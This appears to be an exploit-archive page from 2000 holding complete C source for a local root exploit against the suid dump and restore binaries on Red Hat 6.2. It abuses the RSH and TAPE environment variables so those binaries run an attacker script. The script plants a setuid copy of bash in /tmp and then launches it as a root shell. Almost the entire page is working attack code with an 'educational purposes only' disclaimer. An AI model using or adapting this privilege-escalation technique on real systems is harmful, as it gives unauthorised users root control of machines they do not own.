dump 0.4b15 exploit (Redhat 6.2)

2000-11-29 00:00:00

/*
**
** dump-0.4b15x.c
**
** dump-0.4b15 exploit:
** Redhat 6.2 dump command executes
** external program with suid priviledge.
**
** affected:
** /sbin/dump
** /sbin/dump.static
** /sbin/restore
** /sbin/restore.static
**
** Bug found by [email protected]
**
** This example was coded by [email protected]
** It was written for EDUCATIONAL PURPOSES ONLY.
**
**
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define RUNME "/tmp/runme" /* tmp file */
#define SUID_PATH "/tmp/superdude" /* the power of root */

void usage(char *pname)
{
fprintf(stdout, "\nUsage: %s < d | s | r | p >\n\n", pname);
fprintf(stdout, " d - exploit /sbin/dump\n");
fprintf(stdout, " s - exploit /sbin/dump.static\n");
fprintf(stdout, " r - exploit /sbin/restore\n");
fprintf(stdout, " p - exploit /sbin/restore.static\n\n");
}

int main(int argc, char *argv[], char *envp[])
{
int fd;
pid_t pid;
char *bad_env[] = { "TAPE=garbage:garbage", "RSH="RUNME };
char runbuf[] = { "#!/bin/sh\n/bin/cp /bin/bash "
SUID_PATH "\nchmod 6755 " SUID_PATH };

char *suid[] = { SUID_PATH, NULL };
char *av[] = { "/sbin/restore.static", "restore.static",
"-t", "/tmp/foo" };

if (argc != 2) {
usage(argv[0]);
exit(1);
}

switch(tolower(argv[1][0])) {

case 'd':
av[0] = "/sbin/dump";
av[1] = "dump";
av[2] = "-0";
av[3] = "/";
break;

case 's':
av[0] = "/sbin/dump.static";
av[1] = "dump.static";
av[2] = "-0";
av[3] = "/";
break;

case 'r':
av[0] = "/sbin/restore";
av[1] = "restore";
break;

case 'p':
break;

default:
usage(argv[0]);
exit(1);
}

if ((fd = open(RUNME,O_WRONLY|O_CREAT|O_TRUNC, 0755)) == -1) {
perror("fopen");
exit(1);
}

if (write(fd, runbuf, sizeof(runbuf)) == -1) {
perror("write");
exit(1);
}
close(fd);

if ((pid = fork()) < 0) {
perror("fork");
exit(1);
}

else if (pid == 0) {
if (execle(av[0], av[1], av[2], av[3], NULL, bad_env) < 0) {
perror("execle");
_exit(1);
}
}

sleep(1);
unlink(RUNME);
fprintf(stdout, "\nExploited %s \n", av[0]);
fprintf(stdout, "Running " SUID_PATH "\n");
execve(SUID_PATH, suid, envp);

exit(0);
}


//

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.